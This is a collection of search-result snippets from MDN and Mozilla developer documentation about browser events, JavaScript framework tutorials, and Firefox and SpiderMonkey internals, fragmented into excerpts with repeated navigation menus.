t a web page is loaded into; this is represented in javascript by the window object. using methods available on this object you can do things like return the window's size (see window.innerwidth and window.innerheight), manipulate the document loaded into that window, store data specific to that document on the client-side (for example using a local database or other storage mechanism), attach an
event handler to the current window, and more. the navigator represents the state and identity of the browser (i.e. the user-agent) as it exists on the web. in javascript, this is represented by the navigator object. you can use this object to retrieve things like the user's preferred language, a media stream from the user's webcam, etc. the document (represented by the dom in browsers) is the actual...
... lines below your first ones: div.style.width = winwidth + 'px'; div.style.height = winheight + 'px'; save and try refreshing your browser — you should now see the div become as big as your viewport, whatever size of screen your are using. if you now try resizing your window to make it bigger, you'll see that the div stays the same size — we are only setting it once. how about we use an
event so that the div resizes as we resize the window? the window object has an
event available on it called resize, which is fired every time the window is resized — let's access that via the window.onresize
event handler and rerun our sizing code each time it changes. add the following to the bottom of your code: window.onresize = function() { winwidth = window.innerwidth; winheight = window.
...nt by setting its value to an empty string — ''. create three new elements — a list item (<li>), <span>, and <button>, and store them in variables. append the span and the button as children of the list item. set the text content of the span to the input element value you saved earlier, and the text content of the button to 'delete'. append the list item as a child of the list. attach an
event handler to the delete button, so that when clicked it will delete the entire list item it is inside. finally, use the focus() method to focus the input element ready for entering the next shopping list item. note: if you get really stuck, have a look at our finished shopping list (see it running live also.) summary we have reached the end of our study of document and dom manipulation. at t...
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
summary that's enough for now. at this point, not only can we mark todos as complete, but we can clear them as well. now the only thing left to wire up the footer are the three filtering link...
...ooter are the three filtering links: "all", "active", and "completed". we'll do that in the next article, using routing. ...
...orks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity:
events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity:
events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue
events, methods, and models styling vue components with css using vue computed properties vue con...
Ember resources and troubleshooting - Learn web development
required data to render the route (or view-sub-tree). gate access to the route and redirect if needed. handle loading and error states from the minimally required data. a route only has 3 lifecycle hooks, all of which are optional: beforemodel — gate access to the route. model — where data is loaded. aftermodel — verify access. last, a route has the ability to handle common
events resulting from configuring the model: loading — what to do when the model hook is loading. error — what to do when an error is thrown from model. both loading and error can render default templates as well as customized templates defined elsewhere in the application, unifying loading/error states. more information on everything a route can do is found in the api documentation. ...
...cation, unifying loading/error states. more information on everything a route can do is found in the api documentation. ...
...orks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity:
events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity:
events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue
events, methods, and models styling vue components with css using vue computed properties vue con...
Componentizing our React app - Learn web development
aria-labelledby="list-heading" > {tasklist} </ul> </div> ); } export default app; with this in place, we’re almost ready to tackle some interactivity in our react app! summary and that's it for this article — we've gone into some depth on how to break up your app nicely into components, end render them efficiently. ...
... render them efficiently. now we'll go on to look at how we handle
events in react, and start adding some interactivity. ...
...orks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity:
events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity:
events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue
events, methods, and models styling vue components with css using vue computed properties vue con...
Beginning our React todo list - Learn web development
ist items have some attributes unique to jsx: <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> the defaultchecked attribute in the <input/ > tag tells react to check this checkbox initially. if we were to use checked, as we would in regular html, react would log some warnings into our browser console relating to handling
events on the checkbox, which we want to avoid. don't worry too much about this for now — we will cover this later on when we get to using
events. the htmlfor attribute corresponds to the for attribute used in html. we cannot use for as an attribute in jsx because for is a reserved word, so react uses htmlfor instead. notes: to use boolean values (true and false) in jsx attributes, you must enc...
... more like a real app! the problem is: it doesn’t actually do anything. ...
...orks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity:
events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity:
events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue
events, methods, and models styling vue components with css using vue computed properties vue con...
Getting started with Svelte - Learn web development
ename() function, which in turn updates the value of the name variable. as you can see, the <h1> label is automatically updated. behind the scenes, svelte created the javascript code to update the dom whenever the value of the name variable changes, without using any virtual dom or other complex reconciliation mechanism. note the use of : in on:click. that's svelte's syntax for listening to dom
events. inspecting main.js: the entry point of our app let’s open src/main.js, which is where the app component is being imported and used. this file is the entry point for our app, and it initially looks like this: import app from './app.svelte'; const app = new app({ target: document.body, props: { name: 'world' } }); export default app; main.js starts by importing the svelte compon...
...iables of a component constitute its state. reactivity is fired just by assigning a new value to a top level variable. ...
...orks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity:
events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity:
events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue
events, methods, and models styling vue components with css using vue computed properties vue con...
Getting started with Vue - Learn web development
option. the first menu you’ll be presented with allows you to choose which features you want to include in your project. make sure that "babel" and "linter / formatter" are selected. if they are not, use the arrow keys and the space bar to toggle them on. once they are selected, press enter to proceed. next you’ll select a config for the linter / formatter. navigate to "eslint with error pr
evention only" and hit enter again. this will help us catch common errors, but not be overly opinionated. next you are asked to configure what kind of automated linting we want. select "lint on save". this will check for errors when we save a file inside the project. hit enter to continue. now, you will select how we want your config files to be managed. "in dedicated config files" will put your conf...
...our first custom component, and look at some important concepts such as passing props into it and saving its data state. ...
...orks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity:
events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity:
events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue
events, methods, and models styling vue components with css using vue computed properties vue con...
Handling common JavaScript problems - Learn web development
es like this one, which shows a typical pattern of saving a this scope to a separate variable, then using that variable in nested functions so you can be sure you are applying functionality to the correct this scope. incorrectly using functions inside loops — for example, in bad-for-loop.html (see source code), we loop through 10 iterations, each time creating a paragraph and adding an onclick
event handler to it. when clicked, each one should alert a message containing its number (the value of i at the time it was created), however each one reports i as 11, because for loops do all their iterating before nested functions are invoked. if you want this to work correctly, you need to define a function to add the handler separately, calling it on each iteration and passing it the current value ...
...put in the console of "response value:", plus the same error message we saw before the console.log() output shows that the superheroes object doesn't appear to contain anything. a very common problem with async requests like this is when you try to do something with the response object before it has actually been returned from the network. ...
... update to show some very useful information. under breakpoints, you'll see the details of the break-point you have set. under call stack, you'll see a few entries — this is basically a list of the series of functions that were invoked to cause the current function to be invoked. at the top, we have showheroes() the function we are currently in, and second we have onload, which stores the
event handler function containing the call to showheroes(). under scopes, you'll see the currently active scope for the function we are looking at. we only have three — showheroes, block, and window (the global scope). each scope can be expanded to show the values of variables inside the scope when execution of the code was stopped. we can find out some very useful information in here. expand t...
Creating reftest-based unit tests
may end up displaying correctly purely due to a pending post-load paint. to write an invalidation reftest requires three extra steps. first you need to add class="reftest-wait" to the root element in the test to tell the reftest framework not to check the rendering as soon as the test finishes loading and moving on to the next test. ...
...write an invalidation reftest requires three extra steps. first you need to add class="reftest-wait" to the root element in the test to tell the reftest framework not to check the rendering as soon as the test finishes loading and moving on to the next test. next you need to add a listener for the 'mozreftestinvalidate'
event, and only make the changes you want to test invalidation for after that
event has fired. third, you need to remove 'reftest-wait' from the root element's 'class' attribute to tell the reftest framework that the test is now ready to have its rendering tested. the reason for using the 'mozreftestinvalidate'
event is because a document's initial painting is not typically finished when the 'load'
event fires. it would be possible to try and wait for the initial rendering to b...
...ecause a document's initial painting is not typically finished when the 'load'
event fires. it would be possible to try and wait for the initial rendering to be done using a settimeout, but that would be unreliable, and just as bad, it can increase the time it takes to run a test many times over (which when you're running thousands of tests can really slow things down). the 'mozreftestinvalidate'
event is designed to fire as soon after the initial rendering of the document is finished as possible, but never before. the reftest framework fires one mozreftestinvalidate
event at the document root element for a reftest-wait test when it is safe to make changes that should test invalidation. the
event bubbles up to the document and window so you can set listeners there too. references http://old...
Limitations of chrome scripts
rom the chrome process, the browser will return a cross process object wrapper that gives the chrome code synchronous access to the content. you'll get the shims for your add-on by default, unless you set the multiprocesscompatible flag in your add-on's install manifest. however, these shims are not a substitute for migrating extensions: they are only a temporary measure, and will be removed
eventually they can have a bad effect on responsiveness there are likely to be edge cases in which they don't work properly you can see all the places where your add-on uses compatibility shims by setting the dom.ipc.shims.enabledwarnings preference and watching the browser console as you use the add-on. the rest of this page documents patterns that don't work in multiprocess firefox as well as ho...
... code that works before firefox 38 and on both multiprocess and non-multiprocess variants, you need to implement both paths: test whether topframeelement is null if it is, you're running in single-process firefox, and should use the old way if it isn't, you're running in multiprocess firefox and should use the new way from firefox 38 onwards, the topframeelement approach always works. dom
events without the shim in multiprocess firefox, if you want to register an
event listener on some content dom node, that needs to happen in the content process. it used to be that if you registered a listener on the xul <browser> or <tab> element that hosted some dom content, then
events in the content would bubble up to the xul and you could handle them there. this no longer happens in multiproce...
...tener on the xul <browser> or <tab> element that hosted some dom content, then
events in the content would bubble up to the xul and you could handle them there. this no longer happens in multiprocess firefox. with the shim the shim intercepts chrome process code that adds listeners to xul elements and sets up listeners in the content process, relaying the result back to the chrome process. the
event object itself is relayed to the chrome process as a cpow. to make the shim unnecessary: register
event listeners on the global object inside a frame script. for example: add
eventlistener("load", handler, true) // for example if you need to contact the chrome process when that happens, send it a message. sandboxes you can create sandboxes in the chrome or the content process. sandboxes are...
Message manager overview
vel variables defined by frame scripts are not shared). frame scripts can use this object to send messages to the chrome process, and to receive messages from the chrome process. ...
...cripts are not shared). frame scripts can use this object to send messages to the chrome process, and to receive messages from the chrome process. ...
... docshell : access the top-level docshell components : access privileged objects and apis add
eventlistener() : listen to dom
events addmessagelistener() : receive messages from the chrome process sendasyncmessage() : send asynchronous messages to the chrome process sendsyncmessage() : send synchronous messages to the chrome process interfaces nsidom
eventtarget nsimessagelistenermanager nsimessagesender nsisyncmessagesender nsicontentframemessagemanager how to access the content frame message manager is the global object in frame scripts. process message managers process message managers correspond to process boundaries, and enable code running in different processes to communicate. multiprocess firefox ...
mozbrowsererror
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsererror
event is fired when an error occurs while trying to load content within a browser <iframe>. ...
...ot on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsererror
event is fired when an error occurs while trying to load content within a browser <iframe>. general info specification non standard interface custom
event bubbles yes cancelable yes target <iframe> default action none properties property type description target read only
eventtarget the browser iframe type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the eve...
... cspblocked phishingblocked malwareblocked unwantedblocked offline malformeduri redirectloop unknownsockettype netreset notcached isprinting deniedportaccess proxyresolvefailure proxyconnectfailure contentencodingfailure remotexul unsafecontenttype corruptedcontenterror certerror other example var browser = document.queryselector("iframe"); browser.add
eventlistener("mozbrowsererror", function(
event ) { console.log("an error occurred:" +
event.detail); }); related
events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswor...
smartcard-insert
the smartcard-insert
event is fired when the insertion of a smart card has been detected specification mozilla specific interface
event bubbles no cancelable no target document default action none properties property type description targetread only
eventtarget the
event target (the topmost target in the dom tree). typeread only domstring the type of
event. bubblesread only boolean whether the
event normally bubbles or not. cancelableread only boolean whether the
event is cancellable or not. ...
... property type description targetread only
eventtarget the
event target (the topmost target in the dom tree). typeread only domstring the type of
event. bubblesread only boolean whether the
event normally bubbles or not. cancelableread only boolean whether the
event is cancellable or not. ...
...
eventtarget the
event target (the topmost target in the dom tree). typeread only domstring the type of
event. bubblesread only boolean whether the
event normally bubbles or not. cancelableread only boolean whether the
event is cancellable or not. ...
smartcard-remove
the smartcard-remove
event is fired when the removal of a smart card has been detected. specification mozilla specific interface
event bubbles no cancelable no target document default action none properties property type description targetread only
eventtarget the
event target (the topmost target in the dom tree). typeread only domstring the type of
event. bubblesread only boolean whether the
event normally bubbles or not. cancelableread only boolean whether the
event is cancellable or not. ...
... property type description targetread only
eventtarget the
event target (the topmost target in the dom tree). typeread only domstring the type of
event. bubblesread only boolean whether the
event normally bubbles or not. cancelableread only boolean whether the
event is cancellable or not. ...
...
eventtarget the
event target (the topmost target in the dom tree). typeread only domstring the type of
event. bubblesread only boolean whether the
event normally bubbles or not. cancelableread only boolean whether the
event is cancellable or not. ...
Promise
have a reference. internally, a promise can be in one of three states: pending, when the final value is not available yet. this is the only state that may transition to one of the other two states. fulfilled, when and if the final value becomes available. a fulfillment value becomes permanently associated with the promise. this may be any value, including undefined. rejected, if an error pr
evented the final value from being determined. a rejection reason becomes permanently associated with the promise. this may be any value, including undefined, though it is generally an error object, like in exception handling. note: you should always handle, forward, or report errors (rejection reasons). if you see the message "a promise chain failed to handle a rejection", there is likely somethin...
...eport errors (rejection reasons). if you see the message "a promise chain failed to handle a rejection", there is likely something to be fixed in the code. see handling errors and common pitfalls below. documentation conventions in documentation, the type of the fulfillment value is usually specified between angular brackets. for example, the os.file.exists function returns a promise that will
eventually fulfill with a boolean: promise<boolean> exists(string path); the rejection reason may be specified separately in the function's documentation, and is considered to be an error object unless otherwise specified. method overview promise then([optional] function onfulfill, [optional] function onreject); promise catch([optional] function onreject); constructor cre...
...unction: if the callback returns a value that is not a promise, including undefined, the new promise is fulfilled with this fulfillment value, even if the original promise was rejected. if the callback throws an exception, the new promise is rejected with the exception as the rejection reason, even if the original promise was fulfilled. if the callback returns a promise, the new promise will
eventually assume the same state as the returned promise. catch() equivalent to then() with an undefined value for the onfulfill parameter. if you chain then( onfulfill ).catch( onreject ), exceptions thrown in onfulfill will be caught and passed to onreject, which is not the case when just passing onreject to then(). promise catch( function onreject ); the following calls are therefore identic...
Gecko Profiler FAQ
hat helps you figure out what happens inside the browser as a performance issue is happening, it doesn’t help with reproducing the performance issues in the first place. tasktracer: how to diagnose dispatch delays? (a demo) tasktracer is currently not in a usable state. sorry. tasktracer: from the above, how do we decide on prioritization on the same thread
event queue? see above. do we profile memory page faults? (i.e. when we are accessing a virtual memory page that needs to reload from disk) the gecko profiler does not know about page faults. on linux, perf does a good job at visualizing page faults, for example, they will show up as part of the same call stack as the user-space call stack for the program you are p...
...r stacks, and then resume all threads, especially on high-core systems. (itimer_real (due to posix) requires the signal occur on the calling thread, not a random thread. itimer_prof interrupts the then-running thread, whichever one it is. is there a way to isolate or filter a profile (at least of mainthread and maybe one or two other ones that make sense) to a specific tab/document/
eventqueue? currently not. some functions (reflow, painting, js excecution) insert the url of the associated document into the call stack frame, so you can get a rough idea, but we don’t have instrumentation at the tab/document/
eventqueue level. for isolated profiles i recommend profiling a separate browser instance with only the tab that you’re interested in. w...
...make your own talos pageload test which has just the one page that you’re interested in in its manifest. what actually means the percentage of the running time? the percentage of samples with stacks under this stack. how you identify a user action in the main thread we’re missing ui for this at the moment. the profile contains markers for dom
events, and those include user-generated
events like mouse clicks, but these markers are only exposed as a huge unsearchable list in the markers tab. if you have a rough idea of what the user was doing, try searching for functions that you’d expect in the call tree and see where they are in the thread timeline. what is a suggested comprehensive performance analysis workflow f...
TraceMalloc
acemalloc captures stack traces of all malloc, calloc , realloc, and free calls (this currently covers all operator new and delete calls in mozilla, too). to enable tracemalloc in your build, configure with --enable-trace-malloc. the built mozilla application will support the following additional command-line options: --trace-malloc filename the application will log allocation and deallocation
events with stack traces in a binary format to the given file. if filename is -, nothing is written to a file, but tracemalloc will be active and will track live allocations and their stack traces. --shutdown-leaks=filename on shutdown, the application will save live allocations (with stack traces) to the given file. analyzing the trace-malloc log tools such as bloatblame (tools/trace-malloc/bloatbl...
... 139 7846 1215 68734 1076 60888 3.36 htmlcontentsink 6 4816 12 57782 6 52966 2.92 uncategorized.pl, which lists all the void* allocations (the ones that couldn't be categorized by type), sorted by size. also, your javascript can call the following dom window methods: tracemallocdisable() - turn off tracing, first flushing any buffered log
events for all log files. tracemallocenable() - turn on tracing. tracemallocopenlogfile(filename) - open a new log file and return its log file descriptor (or -1 on error). tracemallocchangelogfd(logfd) - change the current log file to the one identified by logfd, returning the previous fd (so you can maintain a number of open files; keep their fds in a js array!). tracemalloccloselogfd(logfd) - cl...
...cemallocopenlogfile(filename) - open a new log file and return its log file descriptor (or -1 on error). tracemallocchangelogfd(logfd) - change the current log file to the one identified by logfd, returning the previous fd (so you can maintain a number of open files; keep their fds in a js array!). tracemalloccloselogfd(logfd) - close the log file identified by logfd, flushing its buffer of any
events first. if logfd identifies the current log file, change the current log file to the default log file given by the --trace-malloc command line argument. tracemalloclogtimestamp(caption) - log a timestamp
event to the current log file, annotating the log even with the caption string. tracemallocdumpallocations(pathname) - dump a human-readable listing of all traced, live allocations. see nstrac...
An overview of NSS Internals
e64 encoded presentation of der, usually wrapped between human readable begin/end lines. nss prefers the binary presentation, but is often capable to use base64 or ascii presentations, especially when importing data from files. a recent development adds support for loading external pem files that contain private keys, in a software library called nss-pem, which is separately available, but should
eventually become a core part of nss. looking at the code level, nss deals with blocks of raw data all the time. the common structure to store such an untyped block is secitem, which contains a size and an untyped c pointer variable. when dealing with memory, nss makes use of arenas, which are an attempt to simplify management with the limited offerings of c (because there are no destructors). th...
... to find that issuer certificate (b) (by looking for a certificate that uses that name as its “subject name”). then you attempt to verify the signature found in (a) using the public key found in (b). it might be necessary to try multiple certificates (b1, b2, ...) each having the same subject name. after succeeding, it might be necessary to repeat this procedure recursively. the goal is to
eventually find a certificate b (or c or ...) that has an appropriate trust assigned (e.g., because it can be found in the ckbi module and the user hasn't made any overriding trust decisions, or it can be found in a nss database file managed by the user or by the local environment). after having successfully verified the signatures in a (chain of) issuer certificate(s), we're still not done with ver...
... trust anchors contained in the ckbi module are usually self signed, which is defined as having identical subject name and issuer name fields. if a self-signed certificate is marked as explicitly trusted, nss will skip checking the self-signature for validity. nss has multiple apis to perform verification of certi...
GC Rooting Guide
itialize a js::rooted<t> if there is any code that could gc before the end of the containing function; a raw pointer must never be stored on the stack during a gc. one rare but especially tricky case to watch out for is where an raii destructor could gc in a function that is returning a bare pointer. ...
...e end of the containing function; a raw pointer must never be stored on the stack during a gc. one rare but especially tricky case to watch out for is where an raii destructor could gc in a function that is returning a bare pointer. consider: jsobject* somefunction(jscontext* cx) { js::rooted<jsobject*> obj(cx, foo());
eventlogger logger(cx); ...code... return obj; } say that ~
eventlogger constructs some sort of object in its destructor, which could trigger a gc. what will happen is that the return statement will pull the bare jsobject* out of the rooted obj variable and either put it in the stack or store it in the return value register. then ~
eventlogger will fire and trigger a gc, invalidating that unrooted stack/register pointer. this scenario is rare but very difficult ...
...register. then ~
eventlogger will fire and trigger a gc, invalidating that unrooted stack/register pointer. this scenario is rare but very difficult to notice manually, and will probably be caught by the static rooting hazard analysis. there are two different approaches to resolving this; use whichever better fits your situation: void somefunction(jscontext* cx, js::mutablehandleobject obj) {
eventlogger(cx); ...code... obj.set(foo()); } (note that the above should probably check the return value and propagate an error on null), or: jsobject* somefunction(jscontext* cx) { js::rooted<jsobject*> obj(cx, foo()); { // make a scope to force the destructor to run before obj is unwrapped.
eventlogger(cx); ...code... } return obj; } autorooters gc thing...
Index
parse a string using the json syntax described in ecmascript 5 and return the corresponding value. 425 js_poparguments jsapi_reference, obsolete, spidermonkey js_poparguments frees the stack frame pointer previously allocated by js_pusharguments and unroots the jsvals which have been associated with it (those returned by js_pusharguments as well). 426 js_pr
eventextensions jsapi reference, spidermonkey all javascript objects recognize the concept of extensibility: whether new properties may be added to the object. in some situations, it may be convenient to prohibit new properties. in javascript this may be accomplished using the object.pr
eventextensions method. the similar jsapi method is js_pr
eventextensions. 427 js_propertystub ...
...alling js_restoreframechain, cx's call stack must be balanced and all nested calls to js_saveframechain must have had matching js_restoreframechain calls. 443 js_schedulegc jsapi reference, reference, référence(2), spidermonkey js_schedulegc sets the nextscheduled parameter of gc. 444 js_sealobject jsapi reference, obsolete, spidermonkey js_sealobject pr
events all write access to the object, either to add a new property, delete an existing property, or set the value or attributes of an existing property. 445 js_setallnonreservedslotstoundefined jsapi reference, spidermonkey js_setallnonreservedslotstoundefined assignes undefined to all of obj's own properties, except the special __proto__ and __parent__ properties, in a single ope...
...is equivalent to js_setoptions(cx, js_getoptions(cx) ^ options). 491 js_tracerinit jsapi reference, obsolete, spidermonkey js_tracechildren and other tracing apis call the tracer callback for each traceable thing directly referenced by a particular object or runtime structure. it is the callback's responsibility to ensure the traversal of the full object graph, if desired, by
eventually calling js_tracechildren on the passed thing. in this case the callback must be prepared to deal with cycles in the traversal graph. 492 js_typeofvalue jsapi reference, spidermonkey js_typeofvalue examines a specified js value, v, and returns its js data type. the return value is always one of jstype_void, jstype_object, jstype_function, jstype_string, jstype_number, or ...
JSAPI User Guide
nd programs that can make life easier when using spidermonkey and jsapi. what spidermonkey does the javascript engine compiles and executes scripts containing javascript statements and functions. the engine handles memory allocation for the objects needed to execute scripts, and it cleans up—garbage collects—objects it no longer needs. the word javascript may bring to mind features such as
event handlers (like onclick), dom objects, window.open, and xmlhttprequest. but in mozilla, all of these features are actually provided by other components, not the spidermonkey engine itself. spidermonkey provides a few core javascript data types—numbers, strings, arrays, objects, and so on—and a few methods, such as array.push. it also makes it easy for each application to expose some of its own...
...pplication compiles some javascript code. to protect the compiled script from garbage collection, the application creates a compiled script object by calling js_newscriptobject and makes that object gc-reachable using js_setproperty, js_setreservedslot, js_add*root, or some other function. the application executes the compiled script any number of times. as the application progresses,
eventually it doesn't need the compiled script anymore, and the compiled script object becomes unreachable. the garbage collector then
eventually collects the unreachable script and its components. here is example code demonstrating the technique—but note that this case is not really complex enough to warrant the use of js_newscriptobject. the above example does the same thing more directly. /...
...*/ return false; } security many applications use spidermonkey to run untrusted code. in designing this kind of application, it's important to think through the security concerns ahead of time. your application will need to do several things. deploy security updates - firefox automatically installs updates, so security fixes are deployed as soon as they are available.
JS::CallArgs
turn value. the initial contents of this value are unspecified. once this method has been called, callee() and calleev() can no longer be used. (if you're compiling against a debug build of spidermonkey, these methods will assert to aid debugging.) if the method you're implementing succeeds by returning true, you *must* set this. (spidermonkey doesn't currently assert this, but it will do so
eventually.) you don't need to use or change this if your method fails. description js::callargs is helper class encapsulating access to the callee, this value, arguments, and argument count for a function call. the intent of js::callargs is that they be used to encapsulate access to the un-abstracted unsigned argc, value *vp arguments to a function. new code should use callargs instead of...
...this if your method fails. description js::callargs is helper class encapsulating access to the callee, this value, arguments, and argument count for a function call. the intent of js::callargs is that they be used to encapsulate access to the un-abstracted unsigned argc, value *vp arguments to a function. new code should use callargs instead of js_callee etc. whenever possible. ...
...argc, value *vp arguments to a function. new code should use callargs instead of js_callee etc. whenever possible. the
eventual plan is to change jsnative to take const callargs& directly, for automatic assertion of correct use and to make calling functions more efficient. embedders should start internally switching away from using argc and vp directly, except to create a callargs. then, when an
eventual release making that change occurs, porting efforts will require changing methods' signatures but won't require invasive changes to the methods' implementations, potentially under time pressure. js::callargs encapsulates access to the callee, this, the function call's arguments, and
eventual return value for a function call. the principal way to create a callargs is like so, using js::callargs...
Implementation Details
ation of supported text attributes for interested at api: gecko msaa - doesn't have a way to expose text attributes, use ia2 ia2 at-spi document attributes refer to specific pages to get information of supported document attributes for interested at api: gecko/msaa/ia2 - document attributes are not exposed. instead, the same information is available via theisimpledomdocument interface. at-spi
events refer to specific pages to get information of supported
events for interested at api: gecko msaa ia2 at-spi implementation features this section highlights special features of at apis implementation by gecko. unsupported features we do not support some at apis features. please refer to pages below for interesting at api: msaa ia2 at-spi differences with other applications this section provid...
...ent window and load the document in xul-based clients, screen readers may need to find the content window so that they know where to start grabbing the accessible tree, in order to load the current document into a buffer in their own process. refer to specific pages for interested at api. ...
...efer to specific pages for interested at api. msaa/iaccessible2 at-spi avoiding memory leaks it is the assistive technology's responsibility to watch for
events that indicate when windows or content subtrees are being destroyed, and to release all accessible objects related to that window. in addition, state_defunct is set on objects that should be released by the assistive technology. mutation
events should be watched to invalidate the cache. under msaa/ia2, watch for
event_hide under atk/at-spi, watch for children-changed:remove to help developers in that regard, there is memory leak monitor, a firefox extension. ...
extIPreferenceBranch
getvalue(in astring aname, in nsivariant adefaultvalue) void setvalue(in astring aname, in nsivariant avalue) void reset() attributes attribute type description root readonly attribute astring the name of the branch root. all readonly attribute nsivariant array of extipreference listing all preferences in this branch.
events readonly attribute exti
events the
events object for the preferences supports: "change" methods has() check to see if a preference exists. boolean has(in astring aname) parameters aname the name of preference return value true if the preference exists, false if not get() gets an object representing a preference extipreference get(in astring aname) parameters aname...
...lue) parameters aname the name of a preference avalue the value of a preference return value reset() resets all preferences in a branch back to their default values. note: this function has not been implemented and will raise an exception. ...
...erence return value reset() resets all preferences in a branch back to their default values. note: this function has not been implemented and will raise an exception. ...
Building the WebLock UI
age called xul. elements in the xul markup map to widgets in the interface that gecko renders in a fairly straightforward way - so, for instance, the root element of an application window is the element <window/>, the root element of the dialog we'll be creating here is <dialog/>, and so forth. within a xul application file, elements like <button/>, <menu/>, and <checkbox/> can be hooked up to an
event model, to scripts, and to the xpcom interfaces that carry out a lot of the browser functionality in mozilla. in using xpcom components you saw how xpcom objects are reflected into the interface layer as javascript objects. in this chapter, now that we've created the weblock component and made it available to xpcom, we create the ui that actually instantiates the weblock component and uses its me...
... its methods to control page loading in the browser. in the previous section, we outlined the javascript that interacts with the weblock component. in this section, we are going to create the xul interface that calls the javascript methods when the user interacts with it. the xul document the first thing to do is create the actual xul document in which the user interface for the dialog and the
events that initiate interaction with the web locking are defined. at the top of all xul documents, an xml declaration is followed by the root element for the document, which is usually <window/> but for dialog boxes can also be the element <dialog/>. the "shell" for the xul file, then, looks like this: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog id="...
... but you still have to add your new ui into the browser so it can call the component, and the mozilla overlay mechanism is the way to do this. overlays are xul files that register themselves to be dynamically inserted into the appropriate parts of the browser ui at runtime. weblockoverlay.xul the xul that defines the new icon is small: it's a little icon that calls a jav...
Components.utils.cloneInto
rence to the cloned object. example this add-on script creates an object, clones it into the content window and makes it a property of the content window global: // add-on script var addonscriptobject = {"greeting" : "hello from add-on"}; contentwindow.addonscriptobject = cloneinto(addonscriptobject, contentwindow); scripts running in the page can now access the object: // page script button.add
eventlistener("click", function() { console.log(window.addonscriptobject.greeting); // "hello from add-on" }, false); of course, you don't have to assign the clone to the window itself: you can assign it to some other object in the target scope: contentwindow.foo.addonscriptobject = cloneinto(addonscriptobject, contentwindow); you can also pass it into a function defined in the page script. suppo...
...if you pass the {wrapreflectors:true} flag, then the object you clone is allowed to contain these objects: // add-on script va...
... ...
Components.utils.exportFunction
xray filtering and waiving xrays provide a filtered view of the original object.
...because you can call function xrays just like normal functions, this means that passing callbacks into the exported function just works, making the allowcallbacks option redundant: // privileged scope: for example, a content script...
...unction just works, making the allowcallbacks option redundant: // privileged scope: for example, a content script function loguser(getuser) { console.log(getuser()); // "bill" } exportfunction(loguser, unsafewindow, { defineas: "loguser" }); // less-privileged scope: for example, a page script function getuser() { return "bill"; } var test = document.getelementbyid("test"); test.add
eventlistener("click", function() { window.loguser(getuser); }, false); cross-origin checking when the exported function is called each argument, including this, is checked to make sure that the caller subsumes that argument. this pr
events passing cross-origin objects (like window or location) to privileged functions, since the privileged code will have full access to those objects and might uninte...
customDBHeaders Preference
if the .msf file is rebuilt, all the msghdrs should have the string pro...
...if the .msf file is rebuilt, all the msghdrs should have the string property set correctly. the attaching of the column handler through t...
... ~ ~ \n"); important be aware that only messages that are added to the .msf database after the customdbheaders pref is set will have the corresponding string property set on the msghdr. if the .msf file is rebuilt, all the msghdrs should have the string property set correctly. the attaching of the column handler through the observerservice object is some pretty new stuff, so i was using the add
eventlistener("select"...) stuff as a backup. depending on the release you use one, both, or none of the methods may work. building the extension for this extension, i used a directory tree exactly like this: superfluous/ chrome.manifest install.rdf makefile chrome/ content/ superfluous.js ...
Using the Multiple Accounts API
ugh some tricks with server and identity keys, to share servers and identities between accounts. you can do this by referring to the same identity or server key in the preferences, or with clever calls to the account manager. (left as an exercise for the reader.)this will work but it is not supported. the ui will act slighty strange when you share information between accounts. the current plans pr
event sharing of information between accounts using the ui. relevant api calls: nsimsgaccount nsimsgaccountmanager.createaccount() nsimsgaccount nsimsgaccountmanager.getaccount(in string key) nsimsgincomingserver nsimsgaccountmanager.createincomingserver(in string type) nsimsgincomingserver nsimsgaccountmanager.getincomingserver(in string key) smtp servers smtp servers are kept separ...
...t on any of the account settings. the only thing that determines which smtp server a user should use is their physical connection to the internet. for instance, if a user is connected to the internet through myisp, inc. then he or she must use myisp's smtp server, no matter what identity they will be sending mail with. the smtp server list is accessable through the smtp service. you can add (and
